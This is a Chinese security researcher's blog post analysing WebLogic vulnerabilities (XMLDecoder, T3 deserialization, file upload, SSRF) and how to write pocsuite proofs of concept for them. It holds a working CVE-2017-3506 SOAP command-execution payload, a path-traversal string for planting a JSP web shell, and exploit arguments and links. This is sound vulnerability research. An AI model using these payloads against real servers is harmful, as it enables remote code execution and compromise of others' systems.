WebLogic漏洞pocsuite编写

Weblogic XMLDecoder

CVE-2017-3506

PoC:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <object class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
				<void index = "0">
					<string>cmd</string>
				</void>
				<void index = "1"> 
					<string>/c</string> 
				</void>
				<void index = "2">
					<string>calc</string>
				</void>
              </array>
              <void method="start"/>
            </object>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>

CVE-2017-10271

由于Oracle对CVE-2017-3506的补丁

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
     } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

仅仅是将class为object的抛出异常,
在这里插入图片描述
然而

VoidElementHandler 是 ObjectElementHandler 类的子类,这也就解释了为什么把 object 标签换成 Void 标签也同样可以造成命令执行。

注意CVE-2019-2725的12的poc比CVE-2017-10271多了这么一个body。
而且里面必须多这样几个属性:

xmlns:wsa="http://www.w3.org/2005/08/addressing" 
xmlns:asy="http://www.bea.com/async/AsyncResponseService"

在这里插入图片描述

CVE-2019-2725

tested on:

  • weblogic 12.1.3.0.0, jdk_1.7.0_80
  • weblogic 12.1.3.0.0, jdk_1.8.0_201
  • weblogic 10.3.6.0, jdk_1.6.0_45 (payload不一样)

适配windows和linux平台:
在这里插入图片描述

在这里插入图片描述
由于relatesTo需要有值,所以poc里必须有这两行:

<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>

CVE-2019-2729

目前公开的只有10.3.6.0的。

其他

CVE-2019-2890

这个漏洞需要满足以下两个条件,才能触发成功,较为鸡肋。
Weblogic开启t3协议
可以获取到SerializedSystemIni.dat文件
但是在实际环境中,如果部署在weblogic的站点存在任意文件下载或者任意文件读取,那么配合上该漏洞即可执行任意命令。

参考:
http://gv7.me/articles/2019/cve-2019-2890-vulnerability-analysis/

由于SerializedSystemIni.dat是密钥文件,各不相同且无法猜解,这里也就是这个漏洞需要身份认证的原因。

参考:
https://paper.seebug.org/1069/

CVE-2019-2615 任意文件读取漏洞

需要用户名密码,鸡肋。

CVE-2019-2618 文件上传漏洞

需要用户名密码,鸡肋。
参考:
https://xz.aliyun.com/t/5078

CVE-2018-2894 任意文件上传

参考:
https://github.com/111ddea/cve-2018-2894
E:\Oracle\Middleware\Oracle_Home_jdk_1.7.0_80\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\WEB-INF\lib\ws-testpage-impl.jar!\com\oracle\webservices\testclient\ws\res\WebserviceResource#importWsTestConfig
在这里插入图片描述
在这一行下断点:

TTestConfig tconfig = (TTestConfig)Unmarshaller.unmarshal(new File(fileName));

在这里插入图片描述

发现上传的文件默认会被上传到:
在这里插入图片描述
user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war\css\upload
这个目录下。

最后发现filename参数可以被路径穿越:
在这里插入图片描述

然后查看哪些目录有jsp,
在这里插入图片描述

然后查看距离这种目录所需的…/的距离。
在这里插入图片描述
然后拿到这个路径穿越的距离:

../../../../../../com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3/cmprq0/war/WEB-INF/

但是使用filename的路径穿越:
在这里插入图片描述
跳不出这个目录:

E:\Oracle\Middleware\Oracle_Home_jdk_1.7.0_80\user_projects\domains\base_domain\servers\AdminServer\tmp

但是使用name的路径穿越,可以穿越到:

E:\Oracle\Middleware\Oracle_Home_jdk_1.7.0_80\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images

在这里插入图片描述
直接访问:

http://cqq.com:7001/console/framework/skins/wlsconsole/images/_1shell.jsp

在这里插入图片描述

pocsuite:
在这里插入图片描述

Demo:
在这里插入图片描述

尝试了XXE,但是标签名貌似错误了。

1.需要知道部署应用的web目录。
2. ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证。

参考:
https://www.freebuf.com/column/205469.html

weblogic t3

  1. CVE-2015-4852
    影响版本:10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0
    oracle_common/modules/com.bea.core.apache.commons.collections.jar

  2. CVE-2016-0638(CVE-2015-4852补丁的绕过)
    影响版本:10.3.6, 12.1.2, 12.1.3, and 12.2.1

  3. CVE-2016-3510(绕过之前的CVE-2015-4852和CVE-2016-0638漏洞的修复补丁。)
    影响版本:10.3.6.0, 12.1.3.0, and 12.2.1.0

  4. CVE-2017-3248(JRMP)
    影响版本:10.3.6.0, 12.1.3.0, 12.2.1.0 and 12.2.1.1

  5. CVE-2018-2628(绕过了CVE-2017-3248漏洞的修复补丁)
    影响版本:10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3

  6. CVE-2018-2893(绕过CVE-2018-2628补丁,POC相当于CVE-2016-0638和CVE-2017-3248的结合体)
    影响版本:10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3

参考:
https://www.freebuf.com/vuls/179579.html
https://www.freebuf.com/column/197339.html

CVE-2018-3245
影响版本:10.3.6.0, 12.1.3.0 and 12.2.1.3

CVE-2020-2546

CVE-2020-2555

CVE-2015-4852

从经典的这个漏洞开始:
在这里插入图片描述
参考:
https://5alt.me/2018/04/weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E8%B0%83%E8%AF%95/

如何不依赖ysoerial的jar包,只用序列化文件,然后传入参数即可通过dnslog的数据判断是否存在漏洞。

对于dnglog长度固定的场景,可以直接用ysoserial生成之后的payload,而不用依赖jar包,因为生成的ser长度一样,只修改字符串即可。

在这里插入图片描述
在这里插入图片描述

使用CommonsCollections1的payload,
weblogic 12.1.3.0.0, jdk_1.7.0_80报错:

java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set

weblogic 12.1.3.0.0, jdk_1.8.0_201报错:

java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element entrySet

会产生

socket.timeout: timed out

于是我去掉了weblogic_t3.py里面的这两句:

data = sock.recv(1024)
print('received "%s"' % data)

即只发送,不用接收,避免timeout。

调试

oracle_common/modules/com.bea.core.apache.commons.collections_1.0.0.0_3-2.jar
在这里插入图片描述

CVE-2016-0638

所以如果能找到可以在其readObject中创建自己的InputStream的对象,并且不是使用黑名单中的ServerChannelInputStream和MsgAbbrevInputStream的readExternal进行的反序列化,最后调用readObject()方法进行反序列化的数据的读取,这样就可以执行含有恶意代码的序列化代码。CVE-2016-0638漏洞就是依据这个思路找到了weblogic.jms.common.StreamMessageImpl类,其中的readExternal()方法也符合攻击的需求。攻击者可以在其中构造一个恶意的ObjectInputStream来实现payload内部的InputStream创建,调用readObject()方法,实现攻击。

参考:https://y4er.com/post/weblogic-cve-2016-0638/

将断点下在:wlserver/server/lib/wlthint3client.jar!weblogic.jms.common.StreamMessageImpl
看一下这次不一样的调用栈:
在这里插入图片描述
使用github上poc基本都是复制的,最后找到这个:

加上命令行参数:

-H "127.0.0.1" -C "calc" -B -os win

参考:
https://www.cnblogs.com/afanti/p/10240217.html
成功弹出计算器。
看一下这次的调用栈:
在这里插入图片描述
为了绕过 CVE-2015-4852补丁的拦截方法,这里走了
wlserver\server\lib\weblogic-classes.jar!\weblogic\jms\common\StreamMessageImpl#readExternal(ObjectInput in)
绕道进行了反序列化。
这里利用weblogic自己构造的ObjectInputStream,绕过补丁中拦截的方法。

在这里插入图片描述
Demo:
在这里插入图片描述
使用这个项目生成反序列化文件:
https://github.com/5up3rc/weblogic_cmd

CVE-2017-3248

使用这个poc:
https://github.com/quentinhardy/scriptsAndExploits/blob/master/exploits/weblogic/exploit-CVE-2017-3248-bobsecq.py
在这里插入图片描述

CVE-2018-2628

参考:
Weblogic 反序列化漏洞(CVE-2018-2628)漫谈

在这里插入图片描述

其他

CVE-2014-4210 SSRF

在这里插入图片描述
存在SSRF注入点operator参数不在界面上,而是前端在点击Search的时候构造出来的。
Demo:
在这里插入图片描述

参考:
https://github.com/NoneNotNull/SSRFX/blob/master/attacklibs/weblogic.py

触发页面:
http://cqq.com:7001/uddiexplorer/SearchPublicRegistries.jsp

猜你喜欢

转载自blog.csdn.net/caiqiiqi/article/details/105634527